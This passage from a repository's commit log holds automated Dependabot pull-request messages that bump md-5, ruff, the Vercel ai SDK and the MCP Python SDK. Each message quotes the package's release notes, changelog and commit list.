href="https://redirect.github.com/RustCrypto/hashes/issues/812">#812</a>)</li>
<li><a
href="https://github.com/RustCrypto/hashes/commit/451c446d2810ef5136e3a92d2b0617514bc51a9d"><code>451c446</code></a>
md5: replace <code>force-soft</code> crate feature with
<code>md5_backend</code> configuration flag...</li>
<li><a
href="https://github.com/RustCrypto/hashes/commit/2f00175af936de46b3ddefe65c4de93cb4e876e4"><code>2f00175</code></a>
Release sha1 v0.11.0 (<a
href="https://redirect.github.com/RustCrypto/hashes/issues/810">#810</a>)</li>
<li><a
href="https://github.com/RustCrypto/hashes/commit/07d370c4a0d7cfab1f2a2e3d21bbb44e5669ee32"><code>07d370c</code></a>
sha1: refactor backends selection (<a
href="https://redirect.github.com/RustCrypto/hashes/issues/808">#808</a>)</li>
<li><a
href="https://github.com/RustCrypto/hashes/commit/7c7cb76e8a4978fb319a43122393cae0afc4b73d"><code>7c7cb76</code></a>
Fix md5 project link in README (<a
href="https://redirect.github.com/RustCrypto/hashes/issues/809">#809</a>)</li>
<li><a
href="https://github.com/RustCrypto/hashes/commit/ffe093984c004769747e998f77da8ff7c0e7a765"><code>ffe0939</code></a>
Release sha2 0.11.0 (<a
href="https://redirect.github.com/RustCrypto/hashes/issues/806">#806</a>)</li>
<li><a
href="https://github.com/RustCrypto/hashes/commit/8991b65fe400c31c4cc189510f86ae642c470cd9"><code>8991b65</code></a>
Use the standard order of the <code>[package]</code> section fields (<a
href="https://redirect.github.com/RustCrypto/hashes/issues/807">#807</a>)</li>
<li><a
href="https://github.com/RustCrypto/hashes/commit/3d2bc57db40fd6aeb25d6c6da98d67e2784c2985"><code>3d2bc57</code></a>
sha2: refactor backends (<a
href="https://redirect.github.com/RustCrypto/hashes/issues/802">#802</a>)</li>
<li><a
href="https://github.com/RustCrypto/hashes/commit/faa55fb83697c8f3113636d88070e5f5edc8c335"><code>faa55fb</code></a>
sha3: bump <code>keccak</code> to v0.2 (<a
href="https://redirect.github.com/RustCrypto/hashes/issues/803">#803</a>)</li>
<li><a
href="https://github.com/RustCrypto/hashes/commit/d3e6489e56f8486d4a93ceb7a8abf4924af1de7b"><code>d3e6489</code></a>
sha3 v0.11.0-rc.9 (<a
href="https://redirect.github.com/RustCrypto/hashes/issues/801">#801</a>)</li>
<li>Additional commits viewable in <a
href="https://github.com/RustCrypto/hashes/compare/md-5-v0.10.6...md2-v0.11.0">compare
view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=md-5&package-manager=cargo&previous-version=0.10.6&new-version=0.11.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)


</details>

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
2026-08-20 21:32:09 -05:00
dependabot[bot] c8db13d5ad deps: bump ruff from 0.16.2 to 0.16.3 in the pip-minor-patch group (#3143)
Bumps the pip-minor-patch group with 1 update:
[ruff](https://github.com/astral-sh/ruff).

Updates `ruff` from 0.16.2 to 0.16.3
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/astral-sh/ruff/releases">ruff's
releases</a>.</em></p>
<blockquote>
<h2>0.16.3</h2>
<h2>Release Notes</h2>
<p>Released on 2026-08-13.</p>
<h3>Preview features</h3>
<ul>
<li>[<code>pylint</code>] Fix false negatives on negative numbers
(<code>PLR6104</code>) (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27251">#27251</a>)</li>
<li>[<code>pyupgrade</code>] Add rule to replace <code>while 1</code>
with <code>while True</code> (<code>UP048</code>) (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27190">#27190</a>)</li>
</ul>
<h3>Bug fixes</h3>
<ul>
<li>[<code>flake8-bandit</code>] Also check keyword arguments
(<code>S602</code>, <code>S603</code>, <code>S607</code>,
<code>S609</code>) (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27687">#27687</a>)</li>
<li>[<code>pylint</code>] Allow <code>continue</code> in
<code>finally</code> on Python 3.8 (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27626">#27626</a>)</li>
<li>[<code>pylint</code>] Fix <code>PLE1307</code> false positive with
bools (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27651">#27651</a>)</li>
<li>[<code>pylint</code>] Fix false positives and negatives with
<code>%b</code> format character (<code>PLE1300</code>,
<code>PLE1307</code>) (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27560">#27560</a>)</li>
<li>[<code>pylint</code>] Improve handling of concatenated strings
(<code>PLE1300</code>) (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27659">#27659</a>)</li>
</ul>
<h3>Rule changes</h3>
<ul>
<li>[<code>numpy</code>] Make <code>np.chararray</code> autofix
backwards-compatible (<code>NPY201</code>) (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27527">#27527</a>)</li>
</ul>
<h3>Performance</h3>
<ul>
<li>Enable PGO for Linux x86-64 Ruff releases (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27570">#27570</a>)</li>
<li>Enable PGO for Linux ARM64 Ruff releases (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27574">#27574</a>)</li>
<li>Enable PGO for Windows x86-64 Ruff releases (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27573">#27573</a>)</li>
<li>Enable PGO for macOS ARM64 Ruff releases (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27572">#27572</a>)</li>
<li>Reduce <code>Expr</code> size to 64 bytes (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27591">#27591</a>)</li>
</ul>
<h3>CLI</h3>
<ul>
<li>Hyperlink rule codes in <code>ruff check --statistics</code> output
(<a
href="https://redirect.github.com/astral-sh/ruff/pull/27646">#27646</a>)</li>
</ul>
<h3>Documentation</h3>
<ul>
<li>[<code>ruff</code>] Also suggest <code>asyncio.TaskGroup</code>
(<code>RUF006</code>) (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27461">#27461</a>)</li>
</ul>
<h3>Other changes</h3>
<ul>
<li>Use mimalloc v3 (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27586">#27586</a>)</li>
</ul>
<h3>Contributors</h3>
<ul>
<li><a
href="https://github.com/Andrej730"><code>@​Andrej730</code></a></li>
<li><a
href="https://github.com/alonfaraj"><code>@​alonfaraj</code></a></li>
<li><a
href="https://github.com/romero-deshaw"><code>@​romero-deshaw</code></a></li>
<li><a href="https://github.com/Avasam"><code>@​Avasam</code></a></li>
<li><a href="https://github.com/tjkuson"><code>@​tjkuson</code></a></li>
<li><a
href="https://github.com/charliermarsh"><code>@​charliermarsh</code></a></li>
</ul>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md">ruff's
changelog</a>.</em></p>
<blockquote>
<h2>0.16.3</h2>
<p>Released on 2026-08-13.</p>
<h3>Preview features</h3>
<ul>
<li>[<code>pylint</code>] Fix false negatives on negative numbers
(<code>PLR6104</code>) (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27251">#27251</a>)</li>
<li>[<code>pyupgrade</code>] Add rule to replace <code>while 1</code>
with <code>while True</code> (<code>UP048</code>) (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27190">#27190</a>)</li>
</ul>
<h3>Bug fixes</h3>
<ul>
<li>[<code>flake8-bandit</code>] Also check keyword arguments
(<code>S602</code>, <code>S603</code>, <code>S607</code>,
<code>S609</code>) (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27687">#27687</a>)</li>
<li>[<code>pylint</code>] Allow <code>continue</code> in
<code>finally</code> on Python 3.8 (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27626">#27626</a>)</li>
<li>[<code>pylint</code>] Fix <code>PLE1307</code> false positive with
bools (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27651">#27651</a>)</li>
<li>[<code>pylint</code>] Fix false positives and negatives with
<code>%b</code> format character (<code>PLE1300</code>,
<code>PLE1307</code>) (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27560">#27560</a>)</li>
<li>[<code>pylint</code>] Improve handling of concatenated strings
(<code>PLE1300</code>) (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27659">#27659</a>)</li>
</ul>
<h3>Rule changes</h3>
<ul>
<li>[<code>numpy</code>] Make <code>np.chararray</code> autofix
backwards-compatible (<code>NPY201</code>) (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27527">#27527</a>)</li>
</ul>
<h3>Performance</h3>
<ul>
<li>Enable PGO for Linux x86-64 Ruff releases (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27570">#27570</a>)</li>
<li>Enable PGO for Linux ARM64 Ruff releases (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27574">#27574</a>)</li>
<li>Enable PGO for Windows x86-64 Ruff releases (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27573">#27573</a>)</li>
<li>Enable PGO for macOS ARM64 Ruff releases (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27572">#27572</a>)</li>
<li>Reduce <code>Expr</code> size to 64 bytes (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27591">#27591</a>)</li>
</ul>
<h3>CLI</h3>
<ul>
<li>Hyperlink rule codes in <code>ruff check --statistics</code> output
(<a
href="https://redirect.github.com/astral-sh/ruff/pull/27646">#27646</a>)</li>
</ul>
<h3>Documentation</h3>
<ul>
<li>[<code>ruff</code>] Also suggest <code>asyncio.TaskGroup</code>
(<code>RUF006</code>) (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27461">#27461</a>)</li>
</ul>
<h3>Other changes</h3>
<ul>
<li>Use mimalloc v3 (<a
href="https://redirect.github.com/astral-sh/ruff/pull/27586">#27586</a>)</li>
</ul>
<h3>Contributors</h3>
<ul>
<li><a
href="https://github.com/Andrej730"><code>@​Andrej730</code></a></li>
<li><a
href="https://github.com/alonfaraj"><code>@​alonfaraj</code></a></li>
<li><a
href="https://github.com/romero-deshaw"><code>@​romero-deshaw</code></a></li>
<li><a href="https://github.com/Avasam"><code>@​Avasam</code></a></li>
<li><a href="https://github.com/tjkuson"><code>@​tjkuson</code></a></li>
<li><a
href="https://github.com/charliermarsh"><code>@​charliermarsh</code></a></li>
<li><a
href="https://github.com/chirizxc"><code>@​chirizxc</code></a></li>
</ul>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/astral-sh/ruff/commit/b0e47022cfce4f3594aa26d15ea792681430b6f6"><code>b0e4702</code></a>
Bump 0.16.3 (<a
href="https://redirect.github.com/astral-sh/ruff/issues/27723">#27723</a>)</li>
<li><a
href="https://github.com/astral-sh/ruff/commit/ecdd401fdbc5b0b22e18759c8bd25cda452e8b32"><code>ecdd401</code></a>
[ty] Separate script and uv modules from project metadata (<a
href="https://redirect.github.com/astral-sh/ruff/issues/27720">#27720</a>)</li>
<li><a
href="https://github.com/astral-sh/ruff/commit/126352467217bebfa4cb86fd3c4d20820322d9e3"><code>1263524</code></a>
[ty] Simplify display implementations with std::fmt::from_fn (<a
href="https://redirect.github.com/astral-sh/ruff/issues/27718">#27718</a>)</li>
<li><a
href="https://github.com/astral-sh/ruff/commit/59196baedf23c9876d1fcf1fa2ae78f80d306f94"><code>59196ba</code></a>
[ty] Unify polarity-aware relation construction (<a
href="https://redirect.github.com/astral-sh/ruff/issues/27707">#27707</a>)</li>
<li><a
href="https://github.com/astral-sh/ruff/commit/b8c5e73abe5b15a74fb066e474d30397d1421cfe"><code>b8c5e73</code></a>
[ty] Disable CodSpeed cycle estimation for instrumented benchmarks (<a
href="https://redirect.github.com/astral-sh/ruff/issues/27706">#27706</a>)</li>
<li><a
href="https://github.com/astral-sh/ruff/commit/2b0d21094e2a55491bff60c07fd6f8803876cae5"><code>2b0d210</code></a>
[ty] Centralize matched argument relations (<a
href="https://redirect.github.com/astral-sh/ruff/issues/27705">#27705</a>)</li>
<li><a
href="https://github.com/astral-sh/ruff/commit/a9130f3381fe137626d22288c0d45f996541ca7e"><code>a9130f3</code></a>
[<code>pyupgrade</code>] Add rule to replace <code>while 1</code> with
<code>while True</code> (<code>while-one</code>, `...</li>
<li><a
href="https://github.com/astral-sh/ruff/commit/c64c7d6dad1e0a4966ce578b2c03af1e8e7673e1"><code>c64c7d6</code></a>
[ty] Model try exception flow with operation checkpoints (<a
href="https://redirect.github.com/astral-sh/ruff/issues/27471">#27471</a>)</li>
<li><a
href="https://github.com/astral-sh/ruff/commit/9dea5ef180b3de748b5fe45787056716f235d11a"><code>9dea5ef</code></a>
[ty] Avoid deriving sequents for typevars with concrete bounds (<a
href="https://redirect.github.com/astral-sh/ruff/issues/27587">#27587</a>)</li>
<li><a
href="https://github.com/astral-sh/ruff/commit/9798e88de673ec73051980ebd9aeb681161f3c27"><code>9798e88</code></a>
[ty] Preserve enum exhaustiveness with custom <em>missing</em> methods
(<a
href="https://redirect.github.com/astral-sh/ruff/issues/27700">#27700</a>)</li>
<li>Additional commits viewable in <a
href="https://github.com/astral-sh/ruff/compare/0.16.2...0.16.3">compare
view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=ruff&package-manager=pip&previous-version=0.16.2&new-version=0.16.3)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore <dependency name> major version` will close this
group update PR and stop Dependabot creating any more for the specific
dependency's major version (unless you unignore this specific
dependency's major version or upgrade to it yourself)
- `@dependabot ignore <dependency name> minor version` will close this
group update PR and stop Dependabot creating any more for the specific
dependency's minor version (unless you unignore this specific
dependency's minor version or upgrade to it yourself)
- `@dependabot ignore <dependency name>` will close this group update PR
and stop Dependabot creating any more for the specific dependency
(unless you unignore this specific dependency or upgrade to it yourself)
- `@dependabot unignore <dependency name>` will remove all of the ignore
conditions of the specified dependency
- `@dependabot unignore <dependency name> <ignore condition>` will
remove the ignore condition of the specified dependency and ignore
conditions


</details>

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
2026-08-20 21:31:48 -05:00
dependabot[bot] 08910624fb deps: bump ai from 6.0.138 to 7.0.59 in /sdk/typescript (#2281)
Bumps [ai](https://github.com/vercel/ai/tree/HEAD/packages/ai) from
6.0.138 to 7.0.59.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a href="https://github.com/vercel/ai/releases">ai's
releases</a>.</em></p>
<blockquote>
<h2>ai@6.0.253</h2>
<h3>Patch Changes</h3>
<ul>
<li>d91d30b: Preserve reasoning block IDs from UI message streams on
reasoning UI parts.</li>
<li>Updated dependencies [0ec239b]
<ul>
<li><code>@​ai-sdk/gateway</code><a
href="https://github.com/3"><code>@​3</code></a>.0.172</li>
</ul>
</li>
</ul>
<h2>ai@6.0.252</h2>
<h3>Patch Changes</h3>
<ul>
<li>2f96d3f: Allow providers without reranking model support to satisfy
the <code>Provider</code> type.</li>
<li>afb1965: Propagate errors thrown by the Chat <code>onFinish</code>
callback to the initiating request.</li>
<li>Updated dependencies [18b0965]</li>
<li>Updated dependencies [451d2c3]
<ul>
<li><code>@​ai-sdk/gateway</code><a
href="https://github.com/3"><code>@​3</code></a>.0.171</li>
</ul>
</li>
</ul>
</blockquote>
</details>
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/vercel/ai/blob/main/packages/ai/CHANGELOG.md">ai's
changelog</a>.</em></p>
<blockquote>
<h2>7.0.59</h2>
<h3>Patch Changes</h3>
<ul>
<li>Updated dependencies [401a4ba]</li>
<li>Updated dependencies [7af9646]
<ul>
<li><code>@​ai-sdk/provider-utils</code><a
href="https://github.com/5"><code>@​5</code></a>.0.26</li>
<li><code>@​ai-sdk/gateway</code><a
href="https://github.com/4"><code>@​4</code></a>.0.47</li>
</ul>
</li>
</ul>
<h2>7.0.58</h2>
<h3>Patch Changes</h3>
<ul>
<li>
<p>72ad23f: Respect ToolLoopAgent timeouts configured in agent
settings.</p>
</li>
<li>
<p>ad6a650: feat(video): allow <code>aspectRatio: 'adaptive'</code> on
<code>generateVideo</code></p>
<p>Some video models derive the output ratio from the input and reject
explicit
<code>{width}:{height}</code> values — BytePlus Seedance 2.5 does this
for first-frame,
first-and-last-frame, editing, and extension tasks.
<code>aspectRatio</code> on
<code>VideoModelV3CallOptions</code>,
<code>VideoModelV4CallOptions</code>, and
<code>experimental_generateVideo</code> is now
<code>`${number}:${number}` | 'adaptive'</code>, so
those calls no longer need a type assertion. Support is
provider-specific.</p>
</li>
<li>
<p>81cd026: Reduce bundle size by making internal Zod v4 imports
tree-shakeable.</p>
</li>
<li>
<p>Updated dependencies [c477556]</p>
</li>
<li>
<p>Updated dependencies [ad6a650]</p>
</li>
<li>
<p>Updated dependencies [81cd026]</p>
<ul>
<li><code>@​ai-sdk/gateway</code><a
href="https://github.com/4"><code>@​4</code></a>.0.46</li>
<li><code>@​ai-sdk/provider</code><a
href="https://github.com/4"><code>@​4</code></a>.0.7</li>
<li><code>@​ai-sdk/provider-utils</code><a
href="https://github.com/5"><code>@​5</code></a>.0.25</li>
</ul>
</li>
</ul>
<h2>7.0.57</h2>
<h3>Patch Changes</h3>
<ul>
<li>Updated dependencies [1937bef]
<ul>
<li><code>@​ai-sdk/provider-utils</code><a
href="https://github.com/5"><code>@​5</code></a>.0.24</li>
<li><code>@​ai-sdk/gateway</code><a
href="https://github.com/4"><code>@​4</code></a>.0.45</li>
</ul>
</li>
</ul>
<h2>7.0.56</h2>
<h3>Patch Changes</h3>
<ul>
<li>
<p>25c9120: Expose provider metadata on language-model-call end
callbacks and telemetry spans.</p>
</li>
<li>
<p>89080c8: fix (ai/gateway): make retried <code>doStart</code> calls
idempotent</p>
<p><code>generateVideo</code> retries <code>doStart</code>, which
creates a billable generation, so a
retry after a lost response could start a second one. It now mints one
idempotency token per logical start — outside the retry closure — and
forwards it
as an <code>idempotency-key</code> header, so a provider that
deduplicates (the Vercel AI</p>
</li>
</ul>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/vercel/ai/commit/cbdbeee90d9aa4fee399b5628073f9fc30165ca6"><code>cbdbeee</code></a>
Version Packages (<a
href="https://github.com/vercel/ai/tree/HEAD/packages/ai/issues/18645">#18645</a>)</li>
<li><a
href="https://github.com/vercel/ai/commit/63db19387ba71ec50820d146658ae720ab50c80b"><code>63db193</code></a>
Version Packages (<a
href="https://github.com/vercel/ai/tree/HEAD/packages/ai/issues/18587">#18587</a>)</li>
<li><a
href="https://github.com/vercel/ai/commit/72ad23fd5682005c77203ce91c2d236a35725acf"><code>72ad23f</code></a>
fix: ToolLoopAgent settings-level timeouts being ignored by generate and
stre...</li>
<li><a
href="https://github.com/vercel/ai/commit/81cd0263f33202078469a5cead574e13225fa171"><code>81cd026</code></a>
perf: make zod imports tree-shakeable (<a
href="https://github.com/vercel/ai/tree/HEAD/packages/ai/issues/18304">#18304</a>)</li>
<li><a
href="https://github.com/vercel/ai/commit/ad6a65001da3a6f517278dd51998d4c8a1e8fa62"><code>ad6a650</code></a>
feat(video): allow <code>aspectRatio: 'adaptive'</code> on generateVideo
(<a
href="https://github.com/vercel/ai/tree/HEAD/packages/ai/issues/18586">#18586</a>)</li>
<li><a
href="https://github.com/vercel/ai/commit/ae26160e2bd028a529e4114860282146fd2d70ff"><code>ae26160</code></a>
Version Packages (<a
href="https://github.com/vercel/ai/tree/HEAD/packages/ai/issues/18566">#18566</a>)</li>
<li><a
href="https://github.com/vercel/ai/commit/2f04a5e2ace0043c2ad4ef01a38ff41871478e08"><code>2f04a5e</code></a>
Version Packages (<a
href="https://github.com/vercel/ai/tree/HEAD/packages/ai/issues/18560">#18560</a>)</li>
<li><a
href="https://github.com/vercel/ai/commit/89080c861b037f5be626f5836f804c38282a0d56"><code>89080c8</code></a>
feat (provider/gateway): support async video operations
(doStart/doStatus) on...</li>
<li><a
href="https://github.com/vercel/ai/commit/25c91200ce31fda9545dd99c90991530e38ef2b3"><code>25c9120</code></a>
feat: expose provider metadata in language model call end callbacks (<a
href="https://github.com/vercel/ai/tree/HEAD/packages/ai/issues/18100">#18100</a>)</li>
<li><a
href="https://github.com/vercel/ai/commit/79d619530c20060824e8c83d3647d48fe24e1707"><code>79d6195</code></a>
fix: resumed chat streams updating state after cancellation or a newer
resume...</li>
<li>Additional commits viewable in <a
href="https://github.com/vercel/ai/commits/ai@7.0.59/packages/ai">compare
view</a></li>
</ul>
</details>
<details>
<summary>Maintainer changes</summary>
<p>This version was pushed to npm by <a
href="https://www.npmjs.com/~GitHub%20Actions">GitHub Actions</a>, a new
releaser for ai since your current version.</p>
</details>
<br />

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
2026-08-20 21:31:13 -05:00
dependabot[bot] 6928d1932c deps: update mcp requirement from <2.0.0,>=1.28.1 to >=1.28.1,<3.0.0 (#3144)
Updates the requirements on
[mcp](https://github.com/modelcontextprotocol/python-sdk) to permit the
latest version.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/modelcontextprotocol/python-sdk/releases">mcp's
releases</a>.</em></p>
<blockquote>
<h2>v2.0.0</h2>
<h1>MCP Python SDK v2 Stable Release</h1>
<p>This is v2.0.0, the stable v2 release of the MCP Python SDK. It
supports the 2026-07-28 revision of the Model Context Protocol and
serves every earlier revision from the same server. <code>pip install
mcp</code> now installs 2.x.</p>
<pre lang="bash"><code>pip install &quot;mcp[cli]&quot;
# or
uv add &quot;mcp[cli]&quot;
</code></pre>
<h3>Documentation Rewrite</h3>
<p>The <a
href="https://py.sdk.modelcontextprotocol.io/">documentation</a> has the
full tutorial and API reference. Coming from v1? <a
href="https://py.sdk.modelcontextprotocol.io/whats-new/">What's new in
v2</a> is the tour of what changed and why, and the <a
href="https://py.sdk.modelcontextprotocol.io/migration/">migration
guide</a> lists every breaking change with before-and-after code.</p>
<h3>V1 Maintenance mode</h3>
<p><strong>v1.x is in maintenance mode and will only receive security
fixes from now on</strong> The 1.x line lives on the <a
href="https://github.com/modelcontextprotocol/python-sdk/tree/v1.x"><code>v1.x</code>
branch</a>, continues to receive critical bug fixes and security
patches, and is documented at <a
href="https://py.sdk.modelcontextprotocol.io/v1/">https://py.sdk.modelcontextprotocol.io/v1/</a>.
If your project is not ready to migrate, keep a <code>&lt;2</code> upper
bound on your requirement (for example
<code>mcp&gt;=1.28,&lt;2</code>).</p>
<h2>Highlights</h2>
<h3>One SDK, both protocol eras</h3>
<p>v2 speaks the 2026-07-28 revision (stateless requests with no
handshake, <code>server/discover</code>,
<code>subscriptions/listen</code>, multi-round-trip requests) and still
serves every 2025-era client from the same <code>MCPServer</code>, over
Streamable HTTP and stdio, with nothing to configure.
<code>Client(target)</code> negotiates the version automatically.</p>
<h3><code>FastMCP</code> is now <code>MCPServer</code>, and there is a
first-class <code>Client</code></h3>
<p>The decorator API is unchanged; the low-level <code>Server</code> is
rebuilt around a shared dispatcher engine, and one <code>Client</code>
object replaces v1's
transport-plus-<code>ClientSession</code>-plus-<code>initialize()</code>
layering. It connects to a URL, a stdio subprocess, a custom transport,
or straight to a server object in memory for tests.</p>
<h3>Multi-round-trip requests and resolver dependency injection</h3>
<p>At 2026-07-28 the server can no longer call the client, so tools
return the question instead. A <code>Resolve(fn)</code> parameter is
filled by your function invisibly to the model and can put a question to
the user; one tool body serves both eras.</p>
<h3>Extension APIs, OpenTelemetry, and a standalone types package</h3>
<p>Servers and clients compose protocol extensions through pluggable
extension APIs (MCP Apps built in); OpenTelemetry tracing ships on by
default; every protocol type is its own package, <code>mcp-types</code>
(imported as <code>mcp_types</code>), published in lock-step with
<code>mcp</code>.</p>
<h3>Hardened stdio and auth</h3>
<p>stdio servers keep handler subprocesses and stray prints off the
wire, and stdout is diverted to stderr while serving. OAuth adds RFC
9207 issuer validation, the SEP-990 identity-assertion flow, and the
client-credentials extension.</p>
<h2>Coming from a v2 pre-release</h2>
<p>Since the last release candidate: the per-version wire packages are
private (<code>mcp_types._v*</code>), <code>mcp.types</code> is a
permanent alias for <code>mcp_types</code>, the auth registration
request model is split from the registered-client record, cancelled
requests are no longer answered, and log notifications are gated on the
per-request log-level opt-in at 2026-07-28. Since the betas:
<code>Client(cache=False)</code> is now <code>cache=None</code> with
<code>CacheConfig()</code> the default; <code>Context.client_id</code>,
<code>RFC7523OAuthClientProvider</code>, and
<code>OAuthClientProvider(timeout=)</code> are removed; the
client-credentials providers take <code>scope=</code>;
<code>message_handler</code> receives notifications and exceptions only;
<code>FileResource(is_binary=)</code> becomes <code>encoding</code>;
<code>MCP_*</code> env vars are gone with
<code>pydantic-settings</code>; Streamable HTTP servers reject bodies
over 4 MiB with HTTP 413. The migration guide covers all of it.</p>
<h2>Known gaps</h2>
<p>The tasks extension (SEP-2663) is not part of this release. On the
client, the DPoP proof binding (SEP-1932) and the workload-identity
<code>jwt-bearer</code> grant are not implemented; both are additive and
can land in 2.x.</p>
<h2>Feedback</h2>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/modelcontextprotocol/python-sdk/commit/6f69a3758ebf2ee55ce050f58b470ce11af71133"><code>6f69a37</code></a>
Present v2 as the stable release across the README, docs, and policies
(<a
href="https://redirect.github.com/modelcontextprotocol/python-sdk/issues/3178">#3178</a>)</li>
<li><a
href="https://github.com/modelcontextprotocol/python-sdk/commit/78e6fbb7e46d43069f88935e80cbea206d807e18"><code>78e6fbb</code></a>
Serve v2 docs at the site root, with permanent per-major paths (<a
href="https://redirect.github.com/modelcontextprotocol/python-sdk/issues/3176">#3176</a>)</li>
<li><a
href="https://github.com/modelcontextprotocol/python-sdk/commit/af06330a31c379d8a3ab5ffba88e0ad682aa0ed9"><code>af06330</code></a>
Remove unused StreamableHTTPTransport.get_session_id() (<a
href="https://redirect.github.com/modelcontextprotocol/python-sdk/issues/3205">#3205</a>)</li>
<li><a
href="https://github.com/modelcontextprotocol/python-sdk/commit/68ca87e20b5a999d879745332d94c7277a012492"><code>68ca87e</code></a>
Document the two-line release process for stable v2 (<a
href="https://redirect.github.com/modelcontextprotocol/python-sdk/issues/3179">#3179</a>)</li>
<li><a
href="https://github.com/modelcontextprotocol/python-sdk/commit/c9c431b71aeb48e3c4405f9d32144f8ed13fd116"><code>c9c431b</code></a>
Expose the middleware chain on MCPServer and stop sending unrequested
change ...</li>
<li><a
href="https://github.com/modelcontextprotocol/python-sdk/commit/528e36655819a686d5b07e23d70748fcecebfc0a"><code>528e366</code></a>
Fail fast on server-to-client requests in JSON-response mode instead of
hangi...</li>
<li><a
href="https://github.com/modelcontextprotocol/python-sdk/commit/27f5cc7a46bc22be525c5b0a6fce8006d6fcea08"><code>27f5cc7</code></a>
Remove unused mcpserver.exceptions.ValidationError (<a
href="https://redirect.github.com/modelcontextprotocol/python-sdk/issues/3199">#3199</a>)</li>
<li><a
href="https://github.com/modelcontextprotocol/python-sdk/commit/89c5e700f2340b4382785609e8844f384e1a8043"><code>89c5e70</code></a>
Gate log notifications on the per-request log-level opt-in at 2026-07-28
(<a
href="https://redirect.github.com/modelcontextprotocol/python-sdk/issues/3198">#3198</a>)</li>
<li><a
href="https://github.com/modelcontextprotocol/python-sdk/commit/b61ce388dd9fe3ec202a68331f218b4ed740f0fa"><code>b61ce38</code></a>
docs: fix off-by-one hl_lines in apps.md (<a
href="https://redirect.github.com/modelcontextprotocol/python-sdk/issues/3196">#3196</a>)</li>
<li><a
href="https://github.com/modelcontextprotocol/python-sdk/commit/b7c9a916d672d543917fcbd11e0dc9df2efa99c7"><code>b7c9a91</code></a>
Add mcp.types as a permanent alias for mcp_types (<a
href="https://redirect.github.com/modelcontextprotocol/python-sdk/issues/3190">#3190</a>)</li>
<li>Additional commits viewable in <a
